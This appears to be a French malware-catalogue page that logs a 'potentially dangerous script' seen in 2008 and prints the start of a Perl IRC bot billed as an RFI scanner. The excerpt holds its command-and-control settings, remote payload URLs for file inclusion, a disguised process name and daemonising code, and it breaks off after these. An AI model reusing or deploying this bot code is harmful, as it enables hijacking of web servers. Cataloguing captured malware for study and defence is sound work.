Script potentiellement dangereux sur unisel-t35-com
IP de provenance : 194.109.22.98
Date de connexion : 26-04-2008 15:11:48
Site : http://unisel.t35.com/abe.txt??
Retour liste scripts
#!/usr/bin/perl
$process = "/usr/sbin/ateam";
my $printcmd =
"http://freewebtown.com/eridjon/cmdd.txt??";
my $id =
"http://unisel.t35.com/abe.txt?";
my $spread = "http://unisel.t35.com/t.txt";
my
$ircserver = "irc.malaysiairc.org";
my $start = "!scan";
my $port =
"6667";
my $nickname = "TettHost" . int( rand(999) ) . "]";
my $admin =
"My","Aliff";
my $channel = "#test"; ## the normal chan to scan, and see the
results too :P
my $chanres = "#test"; ## the channel where u can find all the results
of the bot
my $verz = "Priv8 RFI Scanner v1.0 beta";
print "\n";
print "
Priv 8 Scanner\n";
print " Author: SeaNet\n";
print " Release $verz\n";
print
" Server $ircserver:$port\n";
print " $channel and $chanres\n";
print " Enjoy
;)\n\n";
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
require
LWP;
$|++;
my $pid = fork;
exit if $pid;
$0 = "$process" . "
[...]
Retour liste scripts
Crédits vignettes :
Thumbzor